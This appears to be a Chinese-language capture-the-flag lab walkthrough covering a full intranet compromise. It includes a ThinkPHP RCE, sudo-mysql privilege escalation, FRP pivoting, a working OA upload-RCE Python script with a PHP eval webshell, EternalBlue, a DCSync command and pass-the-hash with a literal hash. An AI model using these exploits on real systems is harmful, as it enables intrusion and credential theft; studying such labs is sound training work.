外网打点
首先访问
image-20230323224818098
想到的第一个是弱口令, burpsuite爆破admin密码, 失败
而且输入错误的账号密码直接弹出404
image-20230323225020214
也不存在SQL注入
想到可能就是骗人的登录框
上漏扫, 扫一下
Goby无果
image-20230323225227696
试试fscan
image-20230323225313555
显示存在thinkphp漏洞
拿thinkphp利用工具检测一下
image-20230323225423612
确认存在
可以直接RCE了
直接getshell
image-20230324094819218
蚁剑连接
image-20230324094841684
找flag, 发现目前能够访问的文件夹是没有的
root文件夹, 无法访问
发现权限是非常低的
image-20230324095220677
权限提升
上传linux漏洞扫描脚本, 执行
image-20230324121256088
发现一大堆
都试了一下, 不能用, 有的是误报了
内核漏洞无法提权的话, 就考虑sudo提权
首先查看etc/sudoers.d文件夹
image-20230324212408097
有文件, 但是是不可读的, 应该是权限不够
使用命令查看给予sudo的组件
image-20230324212536676
发现**mysql**,可以免密使用
那么我们就可以使用mysql执行高权限命令了
查看是否具有高权限
image-20230324212953546
可以执行高权限语句了, 那么现在我们来查看一下神秘的flag
1
| sudo mysql -e '\! find / -name flag'
|
image-20230324213423749
直接查看呗
image-20230324213523403
image-20230324213601061
发现第一部分flag
移交msf
这个命令行能够执行的东西有限
我们移交msf
image-20230324214029807
执行木马反弹shell
image-20230324214100610
image-20230324214119892
探测内网
寻找其他网段
image-20230324220510275
image-20230324220746355
查看现有网段
1
| run post/multi/manage/autoroute
|
image-20230324222519103
寻找存活端口
1 2 3 4 5
| use auxiliary/scanner/portscan/tcp set rhosts 172.22.1.0/24 set ports 22,23,80,443,8080,8081,3389,445,143,6379 set threads 20 run
|
image-20230324223009195
172.22.1.15是自己
所以另外存在的就是
1 2 3
| 172.22.1.2 172.22.1.18 172.22.1.21
|
设置代理
1 2 3 4 5
| background use auxiliary/server/socks_proxy set srvhost 服务器ip set srvport 9999 exploit
|
msf设置代理失败
image-20230324223910561
考虑FRP反向代理吧
image-20230324225926049
image-20230324225948049
frp一级代理配置
frps.ini
image-20230324230019996
frpc.ini
image-20230324230040887
配置proxychains4.conf
image-20230324230130372
浏览器设置代理
image-20230324230229996
然后挨个访问上面拿三个ip
只有172.22.1.18成功
image-20230324230316197
说明其他两个可能是服务器, 也可能是普通主机, 也可能是域控
OA系统
查了一下这个版本的OA系统是存在的, 可以直接RCE
但前提是进入后台
一个弱口令就进来了
image-20230325145756645
找到文件上传点
image-20230325165059927
直接使用大佬写的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import requests
session = requests.session()
url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = { 'rempass': '0', 'jmpass': 'false', 'device': '1625884034525', 'ltype': '0', 'adminuser': 'YWRtaW4=', 'adminpass': 'YWRtaW4xMjM=', 'yanzm': '' }
r = session.post(url1, data=data1) r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath']) filepath = "/" + filepath.split('.uptemp')[0] + '.php' id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3) r = session.get(url_pre + filepath + "?1=system('dir');") print(r.text)
|
木马文件命名为1.php
1
| <?php eval($_POST["1"]);?>
|
使用windows跑一直无法完成, 应该是python的一些文件无法被代理
使用kali才成功
image-20230325165329260
木马已经写入
image-20230325165409291
蚁剑代理连接
image-20230325165615470
找到flag
image-20230325165713923
分享一个flag思路
靶场的flag, 一般存在于根目录
根目录没有, 就去那些高权限才能访问的目录
linux的root
windows的administrator
一般就在这些地方
这个地方也没有提权
那么这台机器拿下, 现在还剩下两台
横向
此时我们对另外两台机子没有任何信息
只能先扫描
image-20230325171851878
结果
image-20230325172004584
按照靶场出题人的思路, 想直接拿到域控很困难
我们先拿win7
根据我们的扫描结果, win7是存在永恒之蓝的
永恒之蓝
直接msf利用是最方便的
记得使用proxychains4打开msf
image-20230325173503544
直接利用
1 2
| use exploit/windows/smb/ms17_010_eternalblue show options
|
image-20230325173848045
配置一下参数, 就直接用了
1 2
| set payload windows/x64/meterpreter/bind_tcp_uuid set RHOSTS 172.22.1.21
|
image-20230325174555756
接下来, 想到的就是hash传递攻击了
哈希传递
DCSync
使用DCSync攻击获取域内hash
使用我们熟悉的mimikatz
1 2
| load kiwi kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
|
很奇怪的是我获取不到hash值
image-20230325181730638
重新开启了环境还是不行, 估计是靶场问题, 不够稳定
直接hash传递就行, 用之前测获取的hash
1
| python3 wmiexec.py xiaorang/administrator@172.22.1.2 -hashes :10cf89a850fb1cdbe6bb432b859164c8
|
image-20230325185235344
找hash
image-20230325185535661
最后把得到的flag拼接就行